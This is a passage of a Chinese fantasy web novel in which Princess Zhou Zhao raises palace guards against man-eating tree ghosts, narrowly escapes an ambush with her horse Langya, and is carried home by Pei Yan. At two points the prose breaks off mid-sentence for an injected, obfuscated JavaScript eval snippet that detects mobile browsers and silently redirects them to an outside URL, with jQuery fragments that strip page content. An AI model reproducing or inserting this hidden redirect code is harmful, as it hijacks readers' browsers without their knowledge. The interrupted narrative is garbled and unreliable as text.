周昭哪里听得见这句,她风风火火到了承乾殿,肖季言正守在殿外。趁宫人进去通禀的空隙,周昭问道:“肖将军,大哥来找父皇有什么事儿吗?” 肖季言年纪跟霍璋差不多大,出身却没有霍璋好,长了一双只吃饭不说话的嘴,眉眼冷漠刚毅,忠心二字都写在那张黝黑的脸上。 周昭与肖季言有过几面之缘,自觉问得不算突兀,肖季言却只摇头。不待他回答,宫人片刻后又回来,说:“公主殿下,陛下请您进去。” 周昭进了殿,脚步不由放缓了些,不再像刚才那么急躁。 “朕允了,去办吧。”宣庆帝的声音遥遥传来,紧跟着是周驰谢恩的声音。 周昭没来得及细想,见到周驰要走,急忙跑上前下意识地拉住他衣袖,唤道:“大哥,你等等我。” 周驰看了眼宣庆帝,小声道:“小妹,大殿上拉拉扯扯,成何体统。” 宣庆帝久未看见这一双儿女,就算心中有些身为帝王不可告人的打算,此刻也只会因为眼前这一场景心生慰藉,竟有几分天伦之乐的意味来。 他少见地微笑道:“明鸢,还跟儿时一个样儿。” 周昭不好意思地收回手,解释道:“父皇,实在是有一事万分火急,才让大哥等等儿臣。” 宣庆帝道:“明鸢是为槐鬼吃人而来吧,驰儿来找朕也是为了此事,你们想调用禁军,朕已经准了。” 周昭错愕道:“原来大哥也......” 周驰道:“小妹莫不是取笑我愚蠢,连这层利害关系都不知道?” 周昭忙道:“明鸢不是这个意思,既然大哥已经办妥了,那自然再好不过了。” “朕乏了,这件事交给你们兄妹办去吧。七日之后,朕希望看到一个好的结果。” 周昭跟在周驰身后走出承乾殿,心道:“大哥自己就是总督,调用禁军只需要去兵部办一张文书,怎地来找父皇了?还去了这么久?” 周驰从怀里取出兵符跟文书,一并交给周昭,周昭不明其意,周驰道:“小妹,你来找我不就是为了这两样东西吗?拿着调兵去吧。” 肖季言若有若无地看了周驰一眼,周昭犹疑接过,问道:“大哥,你呢?” 周驰道:“我去刑部一趟,季言,你跟我来。” 肖季言点头跟上,周昭心道:“这位肖将军,还真是不爱说话。” 她拿了兵符跟文书,马不停蹄又往南衙跑,先找到闫斯年调兵,再去找北衙统领陈子明商量两边轮班守卫之事。 自打出了槐鬼一事,陈子明就待在北衙没出来过,对南衙的人都唯恐避之不及。 如今周昭携兵符而来,却不敢不见,按吩咐一一照办。 从北衙出来已经是深夜,这一天发生了太多事情,周昭累得头脑发昏,牵了狼牙沿着河道缓慢地走。 从前这条河总是落满灯火,像一条贯穿皇城的五色玉带。两岸热闹非凡,既有南疆来的外域商人贩卖布匹,也有汴江来的杂耍舞得欢快,至于各类珠宝玉器,则更是让人眼花缭乱。 可如今冷冷清清,唯有河水沉默着向东流去,那流淌着的墨色再也不复从前华彩...... 周昭走了十余步,忽然觉得自己还有件事儿没有办。 她驻足片刻,却始终想不起来到底是什么事儿。这时余光瞥见对岸一家玉石坊,顿时明了。 珠子,我竟忘了南衙还放着一颗龙睛泪! 周昭没察觉到河岸边一根黑色的枝条,正神不知鬼不觉地朝她背后伸过来。 那槐鬼隐在岸边几棵大树之后,天色昏暗,路过的人非得打起十二分注意力,才能注意到他的存在。 周昭此时此刻疲倦不堪,全部心思都悬在那颗龙睛泪上,直到槐树藤曼倏地一下往她腰上缠去,周昭才下意识地跳开几步远,但已经来不及了。 另一根藤曼以同样迅疾的速度缠住周昭脚腕,周昭只感觉脚底一空,继而一阵天旋地转,浑身的血都朝脸上涌去。 她头朝下脚朝上,因此蓦地看见槐鬼那张倒着的脸时,忍不住发出一声惊呼。 不知道槐鬼有没有认出周昭来,不过认不认得出来都不重要了,在这么个四下无人的偏僻地方,公主也好平民也罢,在槐鬼眼中都只是一顿美味,以及一个能换回生还机会的解药。 槐鬼语气怪异又兴奋道:“嘿嘿,抓到你啦!抓到你啦!!” 这张脸跟周昭下午看见的并无分别,一样的双眼猩红目露狂热,嘴角流涎吞咽不止,简直恨不得立刻就要把手中的食物一整个活吞下去。 “放开!” 周昭刚想去摸腰间的剑,两只手就被槐鬼双双缚住。 见主人有难,狼牙嘶鸣一声,扬起前蹄向槐鬼踹过去,一根粗壮的枝条挥动自如,就算是兰将军手中的软鞭也不见得能比过槐鬼了。 毕竟,这槐树就是他的身体。 只见这一鞭抽在马腹,登时抽出一条醒目的血痕。 周昭心疼万分,叫道:“狼牙!” 人头惊醒,笑声错落而起。 周昭耳边萦绕着无数尖利的笑声,睁眼便看到悬挂着的人头,和那宛如白骨森森的牙齿。 正欲呼救,那槐鬼却聪明极了,用枝条将她口鼻都绑了个严严实实。 不行,这样下去不被吃掉也得窒息而死! 周昭冷静下来,闭上眼睛不再挣扎。 槐鬼见状大喜,浑身枝叶颤抖着将周昭送入口边。 笑声越来越近,越来越近...... 就是现在! 周昭猛地睁开眼,在半空中抬起腿,膝盖弯曲狠踹在槐鬼脸上。 虽然膝盖的力道远不及绑住的脚,但用来踹脸已经足够了。 槐鬼绑住周昭口鼻的藤蔓一松,盖在那张鼻青脸肿的鬼脸上,还没来得及尖叫,那些人头已笑得眉眼发颤,从周昭这个角度看去好像索命的鬼骇人的妖。 “——啊!!!”槐鬼终于叫出声。 周昭来不及害怕,借着刚才的力道,身体又在树干上来回撞了几下,绑着她双脚的那根藤条扭成一股麻绳,周昭只感觉脚腕一阵剧痛,继而是血液不流通的麻木,那藤条眼看就要断了,周昭叫道:“狼牙!” 狼牙还在为救她而跟那些张牙舞爪的槐树枝对打,听见这一声,仿佛为了回应周昭的呼救,立刻前蹄跪地,整个头向前拱去,几乎要伸到槐鬼那刚被周昭踢过的脸上。 这样一来,槐鬼要想抓周昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959578|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入口,就得先把这匹高大的枣红马推开才行。 槐鬼抓不住周昭,周昭却身体向前一荡抱住狼牙,狼牙与她心有灵犀,随即抬起前蹄向后一拽,那根脆弱的藤条应声而断,马背再次向前一拱,周昭终于以一个不太体面,但是还算稳当的姿势落在狼牙背上。 “狼牙,好样儿的!” 狼牙再次嘶鸣一声,调转马头驮着周昭向前奔去。身后传来槐鬼气急败坏的叫骂声,还有人头嘻嘻哈哈放肆的笑声。 周昭现在面朝马臀,双手双脚都被绑着,虽说狼牙很努力地想把周昭带离这个鬼地方,但周昭浑身使不上劲儿,没走多远就从马背上翻下来。 狼牙跪在她身边,不停地用脑袋蹭着周昭。 周昭干脆仰面躺着,长长地吐出一口气,她也不急着想法子解开身上这些藤条,只觉得累极了,实在是累极了。 于是堂堂公主殿下,宣庆帝捧在手心里的金枝玉叶,就这样堂而皇之地躺在夜晚漆黑的大街上。 月亮高悬于顶,却被密密实实的乌云遮住。 周昭闭上眼睛,马儿似乎也累了,见周昭不愿起身,于是安安静静躺在她身边。 如果这一切都是个梦,那该多好。 盛都没有槐鬼,师父也还活着。 如果师父还活着,那该多好…… 眸中的酸涩让周昭更不愿睁开眼睛,她怕醒过来发现这不是个梦,也怕睁开眼那积蓄多日的痛苦会倾泻而出。 这份痛苦自从听到江梅棠去世的消息那日起,就已经深埋在周昭心底。而后槐鬼的出现让她无瑕再去想,甚至渐渐地淡忘。 可今天差点儿死在这里,周昭才发现,江梅棠的离世给她带来的痛苦不光沉重,而且足够深远…… 让周昭不愿醒来的不光是江梅棠,还有她自己。 这夜的遭遇让周昭恍惚间意识到,原来她并非无所不能,原来事在人为这四个字,有太多的巧合跟命运的垂怜。 如果槐鬼刚才将她撕成两半,如果没有狼牙,她还能活着逃出来吗? 周昭有一瞬间的害怕,随后是深沉的孤独与疲倦席卷了她的整个身体。 盛都城这么大,周昭生平第一次觉得孤独。 ……马蹄声由远及近,紧跟着是仓促而凌乱的脚步声。 有人来了。 ……好丢人。 “殿下。” 周昭刚睁开眼睛,裴砚那张焦急的脸便出现在她的视线里:“殿下让我好找。” 裴砚什么都没问,周昭想自己现在的样子一定狼狈不堪,她佯装平静道:“裴砚,你怎么来了?” 裴砚低着头解她身上的藤条,小心翼翼扶着她的肩膀坐起来,道:“殿下许久未归,我来寻你。” 周昭忽然觉得盛都城也没有那么大,月亮从黑压压的云层露出来一个角,夜空渐渐变成斑驳的瓦蓝。 “谢谢你,裴砚。” “我若不来,殿下打算一直躺在这儿吗?” 这话无比熟悉,周昭一时想不起来在哪儿听过。裴砚又问:“还能站起来吗?” 周昭嗯了一声,裴砚扶着她缓缓站起来,但周昭双脚刚一触底,就好似没了骨头软绵绵地往地上倒。 裴砚就在身边,是不可能让周昭跌回地上的,他下意识地长臂一伸,周昭不可避免地倒在他怀里,裴砚吃了一惊,叫道:“殿下!” 85. 第 85 章 周昭面不改色道:“无妨,脚软了。” 裴砚没戳穿她,又好生扶着周昭坐下,不由分说地解开周昭的鞋子,但他刚解了没两下,又倏地缩回手,像被火烫着似的,低头道:“殿下,我是想看看你的伤……” 本来周昭没觉得有什么,裴砚这一弄,周昭反倒不好意思起来,愣了半晌,说道:“哦,应当没什么大碍。” 她虽然手腕也没力气,但自觉比双脚好得多,于是自己动手除去鞋子。刚脱掉一只,手腕便一阵钻心剧痛,周昭虽然没叫出声,但忍不住轻轻蹙了蹙眉。 裴砚立刻按住她的手:“还是我来。殿下,冒犯了。” 这回裴砚三下五除二脱掉周昭鞋袜,又小心将她小腿处裤子往上卷了卷,周昭脚腕皮肉几乎全部磨烂了,脱下的白袜都沾了点点血迹,本来一双雪白的脚此刻也又红又肿,周昭笑道:“真丑。” 她本就是没话找话,苦中作乐。 谁知裴砚凝了片刻,竟十分认真道:“不丑。” 裴砚这人真是…… 周昭这下是真的无话可说了。 她脸色微红,躲开视线,又听裴砚说道:“殿下,我要看看你的伤势,可能会有点痛,忍一忍。” “嗯。” 周昭本以为自己的脚腕什么知觉都没有了,但当裴砚那沁着丝丝凉意的手指轻轻搭在她脚腕上时,周昭终于忍不住向后缩了一下。 裴砚却握住她整只脚腕,双手不知怎么地在脚踝上一扣一用力,一阵剧痛刹那间传遍全身,那阵痛过去之后,却又好了许多。 “……殿下右脚伤着骨头了。”裴砚又握住周昭另一只脚,“左脚还好,但也需要静养。” 他半跪在周昭面前,动作轻缓地将周昭左脚放进怀里,说完这句就再也不出声,只是一味低着头,用手掌掌根处在她左脚脚踝轻轻按揉着。 此时月亮终于冲破乌云,月光沿着大路在身下缓缓流淌,河岸边唯有水流声哗啦作响,周昭的思绪也跟着安静下来,仿佛刚才的痛苦果真就像个噩梦,随着这条河流缓缓向东而去了。 这份久违的平静渐渐地变得古怪起来。 周昭虽然在北疆大营待过两年,跟男人同吃同住,但因着霍璋有意无意的照拂,加上营中总是有很多人的,周昭从没有像现在这样跟一名男子独处过。 更何况她鞋袜尽褪,一双脚还被对方捧在怀里,换做别的女子早就羞得满面通红,也就是周昭在这方面过于迟钝,到了此时此刻,才觉出几分不对劲的古怪来。 这是种从未有过的,很奇怪的感觉。 裴砚的手起初明明是凉沁沁的,但挨蹭着她脚掌的地方却无端觉得又痒又烫,让周昭一颗心也跳得愈发快。 她耳根染上一抹红,幸而在夜里看不清楚,低声道:“裴砚,可以了。” 裴砚立刻松开她,晾在一旁的鞋袜是不能穿了,好在周昭衣摆很长,刚好挡住她那一双脚。 周昭用手轻轻抚摸着狼牙,马背上好几道鲜红血痕,她疼惜道:“狼牙,辛苦你了。” 狼牙通人性,蹭了蹭她的手掌。 裴砚牵着狼牙,和自己身后那匹黑马拴在一起,然后道:“殿下,我背你回去吧。” 周昭还是很小的时候被自己几个哥哥背过,她有些手足无措地虚扶着裴砚的肩膀,身体像一块僵硬的钢板,裴砚不由低笑道:“殿下,你可以搂住我的脖子,放轻松。” 周昭照做了,果然好很多。 说来奇怪,裴舟明明看起来半大的小子,周昭趴在他背上,却觉得这人身长肩宽,让人没来由地觉得稳当。 裴砚背着她,身后两匹马不用人牵也知道跟着主人走。狼牙受了伤,那匹黑马挂着周昭一双鞋袜,不时凑近了去舔舐红马身上的血痕,人跟马的步调竟出奇的统一。 周昭又想起那颗珠子来。 不过她心中已经有了打算,所以不愿在此时提起。 至于裴砚,周昭惊讶地发现,两年前那个在他们面前大哭的少年,竟像抽了条的柳枝似的。不光个头比她高出不少,肩膀也变得宽厚到足够承担她的重量。 “殿下,如果没有槐鬼,你最想做什么?” 裴砚很少主动开口,周昭惊讶之余,思忖道:“我想回北疆,打完剩下的仗,让边境百姓不再受孟舒骑兵侵略之苦。” “倘若北疆无战事呢?” “那就去南疆,或者汴西十三州找大哥去,听说那里最近各国蠢蠢欲动,我担心……” “殿下。”裴砚终于忍不住打断她,“倘若朝野清明,天下无战呢?” 这回周昭想了挺久。 她还不满十八,如果既没有槐鬼也没有战争,那么她应该会像寻常公主一样承欢膝下。 到了合适的时机,父皇母后会为我指一个品貌俱佳的驸马。 不,我要自己找驸马。 想到这里,周昭露出这个年纪的少女明媚而又满是希冀的笑来。 她甚少有过这样的表情,垂着眼眸的侧脸跟苍界山上那副神女画像一点儿也不像了。 神女是供在祠堂受人跪拜的,而十八岁的少女理应是周昭现在这样,自由且充满幻想的。 她勾着裴砚的脖子,说:“如果是这样,我要每天都穿漂亮裙子,等我哪天不想穿了,我就换上骑装,去北疆的雪山底下一圈又一圈的骑马。马儿也骑累了,就去南边的湖畔赏花观月……” 回到南衙,周昭第一件事便是让人将那颗烫手的珠子取出来,派人快马加鞭送去南苑。 那里本来也是皇家猎场,但自从几年前疟鬼出现,围猎场险些变成乱葬岗,南苑方圆数里便就此荒废了。 事实证明,他们的未雨绸缪是对的。 槐鬼吃人就能恢复的消息,很快在盛都城内不胫而走。一天之内,便发生了十余起槐鬼试图吃人的案子。 唯一值得庆幸的是,由于禁军的提前守卫,没有一个人真的被槐鬼吃掉,也没有一个槐鬼因此被杀。 翌日清晨,南衙一大早便闹哄哄的,除了偶尔传来槐鬼尖利的笑声,另有比集市还热闹的吵嚷声,仔细再听,这些声音里还藏着此起彼伏的哭声。 沿着细细的哭声一直往南衙东边走,是那片槐花飘香的树林。 树林里如今已挂着三百二十一颗人头,树上长着一百六十张人脸,这些人脸其中有十张正在享用早饭,另外一百五十张则望眼欲穿,涎水直流。 哭声正是来源于即将被吃掉的“早饭”。 校场之上槐花也掩盖不住的是浓重的血腥味,渐渐地,哭声归于平静,偌大的校场只剩下一片咔吱咔吱声,犹如不小心掉进鼠洞,被成千上万只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964377|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老鼠用尖利的锯齿包围。 这些老鼠们眼冒绿光,咬得正起劲。 闫斯年腿软发软,不得不用手撑住栏杆才能站稳。 他先是将目光落在不远处的周驰身上,对方负手而立,半张脸隐在树荫底下,神情晦暗不明。 闫斯年又看向周驰身边的肖季言,那位不爱说话的年轻将军同样长着张沉默寡言的脸。 他手握一把弓,箭筒已经空了,肖季言将弓重新背在背上,好像什么也没发生似的又隐入砖墙的阴影里。 闫斯年正准备悄没声地退下去,周驰目光未动,却道:“统领往哪儿去?” 闫斯年心里咯噔一下,周驰道:“南衙还有许多事儿要统领操办,至于明鸢那边,听说她在忙着找什么珠子,且由着她去玩儿罢。” 昭阳殿内。 周昭正低头翻看裴砚前几日送来的那份名册,她后来又派人去查探过,结论证实了她的猜想: 那日皇城中出现的小女孩跟她散发的珠宝,与盛都城突然出现的槐鬼一定有脱不开的关系。 虽然周昭现在还不知道,这其中到底有着怎样千丝万缕的联系。但直觉告诉周昭,只要能找到那个女娃娃,这些萦绕在她心头百思不得其解的问题都会有个答案。 可惜的是,她就好像是在盛都城突然出现又凭空消失了。 禁军带人在皇城以北挨家挨户找了个遍,一点儿踪迹都没有。如果范围要再扩大,从皇城以北再到南边,甚至是盛都城外,无异于大海捞针。 周昭正紧锁着一双眉头,流筝领着太医进来道:“公主,该换药了。” “知道了。” 来的是位女医官,她小心拆了周昭腕上浸着草药的绸布,忍不住嗔怪道:“公主殿下,您这伤需要静养,您看,我前日敷的药又被您弄得一塌糊涂了。” 周昭目光还停留在那名册上,翻页的间隙往下瞧了一眼,道:“劳烦大人费心。” 女医官摇摇头,心想这位公主殿下真是不拿自己的贵体当回事儿。她换完药退出去,又嘱咐流筝伤口切记不能碰水、饮食要清淡之类的话。 流筝愁眉苦脸的回来,周昭恰好抬起头看见她这副模样,不由微笑道:“流筝姐姐,干嘛丧着脸?” “公主......”流筝语气无奈,周昭问道:“太医呢?” “早送出去了。”流筝不由分说地将桌案上的一应物品都收走了,“公主,您天天捧着这些看来看去,我真不明白,难道它们有您自个人的身子重要?公主别拿这样的眼神看我,我知道您又要说什么槐鬼,但这不是有陛下和大殿下他们操持,您有什么好担心的呢?咱们只管像从前那样,不好吗?” 流筝将周昭按回床上休息,周昭明白她一番好意,没有争辩,只笑说:“流筝姐姐,你这样把我裹成个粽子,像是生怕我跑了。” 流筝用略带责备的目光看她一眼,周昭轻轻揽住流筝,靠在她肩膀上,举起双手道:“你看,我这伤已经好很多啦。” 周昭本想说从前在北疆受过比这重得多的伤,但流筝一直怪她当年跑去北疆没有带她,说了这些又怕惹流筝伤心,于是及时止住话头。 这时,一名侍女走进来说:“公主,外面有位将军要见您。” “哪位将军?” “面生,是位女将军。”